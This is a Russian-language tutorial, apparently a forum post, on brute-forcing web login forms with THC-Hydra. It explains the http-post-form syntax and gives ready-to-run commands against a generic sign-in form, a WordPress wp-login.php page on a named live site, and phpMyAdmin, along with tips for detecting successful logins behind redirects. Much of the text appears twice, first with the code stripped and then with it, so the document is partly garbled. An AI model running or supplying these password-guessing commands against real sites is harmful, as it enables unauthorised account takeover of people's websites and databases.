Первая часть здесь: «THC-Hydra: очень быстрый взломщик сетевого входа в систему». Рекомендуется начать знакомство именно с неё, т. к. она содержит подробное описание синтаксиса и инструкцию по работе с Hydra.
В этой части рассмотрены трудные моменты по перебору паролей на веб-сайтах. Трудными они являются из-за того, что все веб-сайты разные и содержат разные поля в формах. А названия этих полей нужно обязательно указать в Hydra. Более того, даже если указать всё правильно, это не означает, что Hydra будет работать корректно — в Интернете (в том числе англоязычном) очень много вопросов по этому поводу. В этой части будут рассмотрены эти проблемы и даны рекомендации как правильно настроить Hydra для перебора паролей на сайтах.
Помощь по модулям http-post-form и http-get-form
По умолчанию эти модули сконфигурированы на следование максимум по пяти редиректам подряд. Они всегда собирают новые куки для одинаковых URL без значений.
Параметр принимает три величины разделённых двоеточием ":", плюс опциональную величину.
(Примечание: если вам нужно двоеточие в строке опции в качестве значения, экранируйте его так ":", но не экранируйте "" на "\".)
Синтаксис:
Первое — это URL страницы на сервере, принимающей GET или POST.
Второе — это величины POST/GET (принятые хоть от браузера, прокси и т. д.) имена пользователя и пароли будут символизируют заполнители "^USER^" и "^PASS^" (параметры формы).
Третье — это строка, которая проверяет на *неверный* логин (по умолчанию).
Строке, соответствующей условию введения неверных учётных данных может предшествовать строка "F=", строке, соответствующей условию введения верных учётных данных должна предшествовать "S=".
Здесь многие ошибаются. Вы должны проверить веб-приложение, на что похожа строка, выдаваемая при неверных учётных данных и скопировать её в этот параметр!
Следующие параметры опциональные:
'
Обратите внимание, что если вам нужно двоеточие
Все двоеточия, которые не являются разделителями опций, должны быть экранированы (смотрите примеры выше и ниже).
Вы можете задать заголовок без экранирования двоеточий, но таким образом вы не сможете разместить двоеточия в самих значениях заголовка, поскольку они будут интерпретироваться в hydra как разделители.
Примеры:
Полная команда для брутфорса сайтов с Hydra выглядит примерно так:
Рассмотрим все элементы:
-L logins.txt -P passwords.txt — это имена пользователей и пароли, как их можно задать рассказывается в первой части — если вы не понимаете этот фрагмент, то начните чтение с первой части.
http-post-form — это протокол, точнее говоря, это указание на то, что брутфорсится форма ввода (form) сайта (http), которая отправляет параметры методом POST (post).
Вместо http-post-form может быть указан http-get-form — в случае, если форма отправляет параметры методом GET.
example.org – адрес сайта для подбора паролей
-m — ключ, который говорит о том, что сейчас будет передана специальная опция для модуля (в данном случае для модуля http-post-form)
"/signin.php:login_username=^USER^&login_password=^PASS^
lease login" — эта и есть передаваемая опция, уберём кавычки и разделим её на три части, разделителем служит двоеточие
/signin.php — адрес страницы, куда передаются данные формы, должен начинаться со слеша
login_username=^USER^&login_password=^PASS^ – это строка, которая передаётся форме. О ней подробнее рассказывалось чуть выше. ^USER^ – это заполнитель, который будет заменяться на имя пользователя. ^PASS^ – это заполнитель для пароля.
Слова login_username и login_password — это названия полей формы, они у каждой формы свои, их нужно задавать самому.
Please login — это строка, которую hydra будет искать в присланном от сайта ответе после введения учётных данных. Если эта строка присутствует, значит попытка аутентификация провалилась, учётные данные неверны и нужно пробовать следующие логины и пароли. Если эта строка отсутствует, значит произошёл вход. Эта строка индивидуальна для каждого сайта и вам самостоятельно нужно её выявлять и задавать.
Как видно, достаточно запутанно, плюс к этому, есть ещё и подводные камни. Давайте будем разбираться на конкретных примерах.
Как ввести данные в Hydra для перебора пароля на сайте
Рассмотрим на примере конкретного сайта. Форму можно исследовать двумя способами — статическим и динамическим. Давайте рассмотрим оба способа последовательно.
Дан сайт с адресом
Задача — составить команду для hydra под эту форму.
В форме видим строку
method="post"
Значит будем использовать метод http-post-form, итак, начнёт писать нашу команду
111111 и 222222 – это предполагаемое имя и пароль пользователя (можно указать файлы для перебора)
http-post-form — это указание на используемый модуль (на используемый протокол)
example.org – это адрес сайта (обязательно без конечного слэша).
Теперь нам нужно составить строку, состоящую из трёх величин, разделённых двоеточием
"адрес_страницы_куда_отправляются_данные_из_формы:передаваемая_в_форму_строка:строка_которую_ищем_в_ответе"
Глядя на форму мы видим, что она свои данные передаёт на страницу ?signin — поставим перед ним слеш и первый элемент строки готов:
Форма содержит следующие поля: login_username, login_password, cookieuser
login_username передаёт имя пользователя, т. е. ^USER^, поэтому login_username=^USER^, login_password передаёт пароль пользователя, т. е. поэтому ^PASS^ login_password=^PASS^, есть есть cookieuser, присвоем ей статичную величину cookieuser=1, теперь полученные отрезки объединяем символом &:
Теперь третий элемент — то, что мы будем искать в ответе. Например, в форме есть строка «Введите Ваше имя пользователя и пароль». Практически наверняка после входа на сайт эта строка не отображается — поскольку она больше не нужна. Поэтому мы выбираем её для поиска: если она найдена, перебор будет продолжаться, если в ответе нет этой строки, значит мы успешно вошли, т. е. угадали логин и пароль.
Ещё можно попробовать ввести любые учётные и посмотреть на ошибку, которую выдаёт веб-сайт. Эту ошибку (часть этой строки) и нужно использовать.
Т.е. мы составили три подстроки, исходя из анализа формы:
Объединим эти строки, разделив их двоеточием:
Эту строку нужно взять в двойные кавычки и перед ней поставить ключ -m. Т.е. наша строка для брутфорса теперь выглядит так
Для большинства сайтов этот алгоритм будет работать.
Но для конкретного этого сайта, даже при подстановке верных учётных данных hydra не может распознать, что пароль подобран. Это первый подводный камень:
Hydra и проблема для сайтов с редиректом
Для анализа проблемы я буду использовать ключ -d
Вот кусочек из сообщения отладки:
Это то, что отправляет сервер в ответ на попытку авторизации. Оказывается, никакие сообщения об ошибке не показываются, вообще ничего не показывается –происходит только редирект…
Повторюсь, такие ситуации не часты — скорее, это исключения. «Нормальные» сайты показывают нам нормальные сообщения об ошибках. В крайнем случае, даже при редиректе можно попытаться найти какое-то отличие в ответах для заголовков при верной и при ошибочной авторизации.
Например, т. к. для рассматриваемого сайта я знаю верные учётные данные, то я могу ввести их и, оставаясь в режиме отладки, посмотреть на разницу вывода:
Ну можно кричать «Эврика!», ведь заголовок ответа другой, а именно — при вводе верных учётных данных устанавливается куки, т. е. нам нужно искать строку Set-Cookie. Причём, если эта строка есть — значит всё прошло успешно. Перед этой строкой мы поставим S=, это даст указание hydra, что если строка найдена, то это успех, а не провал:
Т.е. теперь всё работает, при вводе ложных данных, hydra понимает, что данные ложные. А при вводе верных данных — понимает, что имя и пароль угаданы.
Все сайты разные, и для каждого движка нужно тестировать, прежде чем начинать атаку.
Взлом пароля для WordPress c hydra
Динамический анализ форм
Давайте теперь проведём динамический анализ формы. Я буду делать браузере Chrome (в Firefox также есть функционал для веб-разработчиков).
Переходим на сайт, который мы будем брутфорсить. Находим страницу авторизации https://notcodeby.net/blogs/wp-login.php. Теперь открываем в браузере Настройки и управление Google Chrome → Дополнительные инструменты → Инструменты разработчика
В них находим вкладку Network.
Вводим в форму любые учётные данные и нажимаем Войти.
Смотрим на нашу панель разработчика:
Нас интересует строка, которая содержит адрес страницы wp-login.php и метод отправки POST. Кликаем на неё. Там где Form Data выбираем view source:
Интересующая нас строка:
Я в качестве имени пользователя и пароля вводил 111111 и 222222, именно их мы и заменяем на ^USER^ и ^PASS^:
Так, передаваемая из формы строка готова:
Тем где General, найдите строку с Request URL:
В моём случае это
Т.е. данные передаются на страницу wp-login.php
Там же можно увидеть и метод:
Посмотрев на страницу видим, при неверных учётных данных в ответе присутствует слово «ОШИБКА». Тем не менее, не нужно сильно наедятся, что программа правильно будет работать с русскими буквами. Надежнее посмотреть HTML код и найти там что-нибудь характерное на латинице, например — login_error.
Теперь можно составить окончательный запрос для брутфорса WordPress с hydra:
Этот алгоритм является рабочим. Но на практике бывают исключения. Например, при попытке брутфорсить свой собственный сайт у меня появляется ошибка сервера 503. Хотя на других сайтах вполне работает.
Взлом пароля для phpMyAdmin c hydra
Есть хорошая и плохая новости. Хорошая новость заключается в том, что я уже подготовил примерную строку для перебора паролей в phpMyAdmin:
Но есть и плохая новость. Эта строка никак не хотела работать на моём сервере в отношении самой последней версии phpMyAdmin. Я повозился с режимом отладки и выяснил, что причина в защите от ClickJacking, это сделано путём отключения фрейминга (возможности вставки страниц во фреймы). В коде phpMyAdmin так и написано:
Т.е. в phpMyAdmin есть защита от брутфорсинга гидрой. Конечно, эта опция должна быть включена (так и есть по умолчанию) и сервер должен быть настроен соответствующим образом.
Т.е. налицо простая и эффективная защита от брутфорсинга (хотя, говорят, это можно обойти)…
Помощь по модулям http-get и http-post
Оба этих модуля требуют страницу для аутентификации
Пример: "
В этой части рассмотрены трудные моменты по перебору паролей на веб-сайтах. Трудными они являются из-за того, что все веб-сайты разные и содержат разные поля в формах. А названия этих полей нужно обязательно указать в Hydra. Более того, даже если указать всё правильно, это не означает, что Hydra будет работать корректно — в Интернете (в том числе англоязычном) очень много вопросов по этому поводу. В этой части будут рассмотрены эти проблемы и даны рекомендации как правильно настроить Hydra для перебора паролей на сайтах.
Помощь по модулям http-post-form и http-get-form
По умолчанию эти модули сконфигурированы на следование максимум по пяти редиректам подряд. Они всегда собирают новые куки для одинаковых URL без значений.
Параметр принимает три величины разделённых двоеточием ":", плюс опциональную величину.
(Примечание: если вам нужно двоеточие в строке опции в качестве значения, экранируйте его так ":", но не экранируйте "" на "\".)
Синтаксис:
Код:
<url>:<параметры формы>:<строки условия>[:<опционально>[:<опционально>]
Второе — это величины POST/GET (принятые хоть от браузера, прокси и т. д.) имена пользователя и пароли будут символизируют заполнители "^USER^" и "^PASS^" (параметры формы).
Третье — это строка, которая проверяет на *неверный* логин (по умолчанию).
Строке, соответствующей условию введения неверных учётных данных может предшествовать строка "F=", строке, соответствующей условию введения верных учётных данных должна предшествовать "S=".
Здесь многие ошибаются. Вы должны проверить веб-приложение, на что похожа строка, выдаваемая при неверных учётных данных и скопировать её в этот параметр!
Следующие параметры опциональные:
C=/page/uri
определяет другую страницу для сбора базовых куки(h|H)=My-Hdr: foo
для отправки заданных пользователем HTTP заголовка при каждом запросе^USER^ и ^PASS^
также могут быть внесены в этот заголовок!
h
' добавит заданный пользователем заголовок в конец не обращая внимания, был ли он уже отправлен Hydra или нет.'
H
' заменит значение существующего заголовка той строкой, которая задана пользователем или добавит заголовок в конецОбратите внимание, что если вам нужно двоеточие
:
в ваших заголовках, то его нужно экранировать обратным слэшем ().Все двоеточия, которые не являются разделителями опций, должны быть экранированы (смотрите примеры выше и ниже).
Вы можете задать заголовок без экранирования двоеточий, но таким образом вы не сможете разместить двоеточия в самих значениях заголовка, поскольку они будут интерпретироваться в hydra как разделители.
Примеры:
Код:
"/login.php:user=^USER^&pass=^PASS^:incorrect"
"/login.php:user=^USER^&pass=^PASS^&colon=colon:escape:S=authlog=.*success"
"/login.php:user=^USER^&pass=^PASS^&mid=123:authlog=.*failed"
"/:user=^USER&pass=^PASS^:failed:H=Authorization: Basic dT1w:H=Cookie: sessid=aaaa:h=X-User: ^USER^"
"/exchweb/bin/auth/owaauth.dll:destination=http%3A%2F%2F<target>%2Fexchange&flags=0&username=<domain>%5C^USER^&password=^PASS^&SubmitCreds=x&trusted=0:reason=:C=/exchweb"
Код:
hydra -L logins.txt -P passwords.txt http-post-form://example.org/ -m "/signin.php:login_username=^USER^&login_password=^PASS^:Please login"
-L logins.txt -P passwords.txt — это имена пользователей и пароли, как их можно задать рассказывается в первой части — если вы не понимаете этот фрагмент, то начните чтение с первой части.
http-post-form — это протокол, точнее говоря, это указание на то, что брутфорсится форма ввода (form) сайта (http), которая отправляет параметры методом POST (post).
Вместо http-post-form может быть указан http-get-form — в случае, если форма отправляет параметры методом GET.
example.org – адрес сайта для подбора паролей
-m — ключ, который говорит о том, что сейчас будет передана специальная опция для модуля (в данном случае для модуля http-post-form)
"/signin.php:login_username=^USER^&login_password=^PASS^

/signin.php — адрес страницы, куда передаются данные формы, должен начинаться со слеша
login_username=^USER^&login_password=^PASS^ – это строка, которая передаётся форме. О ней подробнее рассказывалось чуть выше. ^USER^ – это заполнитель, который будет заменяться на имя пользователя. ^PASS^ – это заполнитель для пароля.
Слова login_username и login_password — это названия полей формы, они у каждой формы свои, их нужно задавать самому.
Please login — это строка, которую hydra будет искать в присланном от сайта ответе после введения учётных данных. Если эта строка присутствует, значит попытка аутентификация провалилась, учётные данные неверны и нужно пробовать следующие логины и пароли. Если эта строка отсутствует, значит произошёл вход. Эта строка индивидуальна для каждого сайта и вам самостоятельно нужно её выявлять и задавать.
Как видно, достаточно запутанно, плюс к этому, есть ещё и подводные камни. Давайте будем разбираться на конкретных примерах.
Как ввести данные в Hydra для перебора пароля на сайте
Рассмотрим на примере конкретного сайта. Форму можно исследовать двумя способами — статическим и динамическим. Давайте рассмотрим оба способа последовательно.
Дан сайт с адресом
Ссылка скрыта от гостей
. На этом сайте есть форма для ввода пароля:
Код:
<form method="post" enctype="application/x-www-form-urlencoded" action="?signin" style="margin: 10px;">
<table>
<tr>
<td><label>Имя</label></td>
<td><input type="text" style="font-size: 11px" name="login_username" size="10" value="Имя" onfocus="if (this.value == 'Имя')
this.value = '';" /></td>
</tr>
<tr>
<td><label>Пароль</label></td>
<td><input type="password" style="font-size: 11px" name="login_password" size="10" /></td>
</tr>
<tr>
<td><label><input type="checkbox" name="cookieuser" value="1" checked="checked" />Запомнить?</label></td>
<td><input type="submit" value="Вход" title="Введите Ваше имя пользователя и пароль, чтобы войти, или нажмите кнопку 'Регистрация', чтобы зарегистрироваться." /></td>
</tr>
</table>
</form>
В форме видим строку
method="post"
Значит будем использовать метод http-post-form, итак, начнёт писать нашу команду
Код:
hydra -l 111111 -p 222222 http-post-form://example.org
111111 и 222222 – это предполагаемое имя и пароль пользователя (можно указать файлы для перебора)
http-post-form — это указание на используемый модуль (на используемый протокол)
example.org – это адрес сайта (обязательно без конечного слэша).
Теперь нам нужно составить строку, состоящую из трёх величин, разделённых двоеточием
"адрес_страницы_куда_отправляются_данные_из_формы:передаваемая_в_форму_строка:строка_которую_ищем_в_ответе"
Глядя на форму мы видим, что она свои данные передаёт на страницу ?signin — поставим перед ним слеш и первый элемент строки готов:
Код:
/?signin
login_username передаёт имя пользователя, т. е. ^USER^, поэтому login_username=^USER^, login_password передаёт пароль пользователя, т. е. поэтому ^PASS^ login_password=^PASS^, есть есть cookieuser, присвоем ей статичную величину cookieuser=1, теперь полученные отрезки объединяем символом &:
Код:
login_username=^USER^&login_password=^PASS^&cookieuser=1
Ещё можно попробовать ввести любые учётные и посмотреть на ошибку, которую выдаёт веб-сайт. Эту ошибку (часть этой строки) и нужно использовать.
Т.е. мы составили три подстроки, исходя из анализа формы:
Код:
/?signin
login_username=^USER^&login_password=^PASS^&cookieuser=1
Введите Ваше имя пользователя и пароль
Код:
/?signin:login_username=^USER^&login_password=^PASS^&cookieuser=1:Введите Ваше имя пользователя и пароль
Код:
hydra -l 111111 -p 222222 http-post-form://example.org -m "/?signin:login_username=^USER^&login_password=^PASS^&cookieuser=1:Введите Ваше имя пользователя и пароль"
Но для конкретного этого сайта, даже при подстановке верных учётных данных hydra не может распознать, что пароль подобран. Это первый подводный камень:
Hydra и проблема для сайтов с редиректом
Для анализа проблемы я буду использовать ключ -d
Код:
hydra -l 111111 -p 222222 http-post-form://example.org -m "/?signin:login_username=^USER^&login_password=^PASS^&cookieuser=1:Введите Ваше имя пользователя и пароль" -d
Это то, что отправляет сервер в ответ на попытку авторизации. Оказывается, никакие сообщения об ошибке не показываются, вообще ничего не показывается –происходит только редирект…
Повторюсь, такие ситуации не часты — скорее, это исключения. «Нормальные» сайты показывают нам нормальные сообщения об ошибках. В крайнем случае, даже при редиректе можно попытаться найти какое-то отличие в ответах для заголовков при верной и при ошибочной авторизации.
Например, т. к. для рассматриваемого сайта я знаю верные учётные данные, то я могу ввести их и, оставаясь в режиме отладки, посмотреть на разницу вывода:
Ну можно кричать «Эврика!», ведь заголовок ответа другой, а именно — при вводе верных учётных данных устанавливается куки, т. е. нам нужно искать строку Set-Cookie. Причём, если эта строка есть — значит всё прошло успешно. Перед этой строкой мы поставим S=, это даст указание hydra, что если строка найдена, то это успех, а не провал:
Код:
hydra -l 111111 -p 222222 http-post-form://example.org -m "/?signin:login_username=^USER^&login_password=^PASS^&cookieuser=1:S=Set-Cookie"
Т.е. теперь всё работает, при вводе ложных данных, hydra понимает, что данные ложные. А при вводе верных данных — понимает, что имя и пароль угаданы.
Все сайты разные, и для каждого движка нужно тестировать, прежде чем начинать атаку.
Взлом пароля для WordPress c hydra
Динамический анализ форм
Давайте теперь проведём динамический анализ формы. Я буду делать браузере Chrome (в Firefox также есть функционал для веб-разработчиков).
Переходим на сайт, который мы будем брутфорсить. Находим страницу авторизации https://notcodeby.net/blogs/wp-login.php. Теперь открываем в браузере Настройки и управление Google Chrome → Дополнительные инструменты → Инструменты разработчика
В них находим вкладку Network.
Вводим в форму любые учётные данные и нажимаем Войти.
Смотрим на нашу панель разработчика:
Нас интересует строка, которая содержит адрес страницы wp-login.php и метод отправки POST. Кликаем на неё. Там где Form Data выбираем view source:
Интересующая нас строка:
Код:
log=111111&pwd=222222&rememberme=forever&wp-submit=%D0%92%D0%BE%D0%B9%D1%82%D0%B8&redirect_to=http%3A%2F%2Fcodeby.net%2Fwp-admin%2F&testcookie=1
Так, передаваемая из формы строка готова:
Код:
log=^USER^&pwd=^PASS^&rememberme=forever&wp-submit=%D0%92%D0%BE%D0%B9%D1%82%D0%B8&redirect_to=http%3A%2F%2Fcodeby.net%2Fwp-admin%2F&testcookie=1
В моём случае это
Код:
Request URL:https://codeby.net/blogs/wp-login.php
Там же можно увидеть и метод:
Код:
Request Method:POST
Теперь можно составить окончательный запрос для брутфорса WordPress с hydra:
Код:
hydra -l 111111 -p 222222 http-post-form://notcodeby.net -m "/wp-login.php:log=^USER^&pwd=^PASS^&rememberme=forever&wp-submit=%D0%92%D0%BE%D0%B9%D1%82%D0%B8&redirect_to=http%3A%2F%2Fcodeby.net%2Fwp-admin%2F&testcookie=1:login_error"
Взлом пароля для phpMyAdmin c hydra
Есть хорошая и плохая новости. Хорошая новость заключается в том, что я уже подготовил примерную строку для перебора паролей в phpMyAdmin:
Код:
hydra -l root -e n http-post-form://192.168.1.33 -m "/phpMyAdmin/index.php:pma_username=^USER^&pma_password=^PASS^&server=1:S=information_schema"
Но есть и плохая новость. Эта строка никак не хотела работать на моём сервере в отношении самой последней версии phpMyAdmin. Я повозился с режимом отладки и выяснил, что причина в защите от ClickJacking, это сделано путём отключения фрейминга (возможности вставки страниц во фреймы). В коде phpMyAdmin так и написано:
Код:
/* Prevent against ClickJacking by disabling framing */
if (! $GLOBALS['cfg']['AllowThirdPartyFraming']) {
header(
'X-Frame-Options: DENY'
);
}
Т.е. налицо простая и эффективная защита от брутфорсинга (хотя, говорят, это можно обойти)…
Помощь по модулям http-get и http-post
Оба этих модуля требуют страницу для аутентификации
Пример: "
/secret
" или "https://bla.com/foo/bar
" или "https://test.com:8080/members
"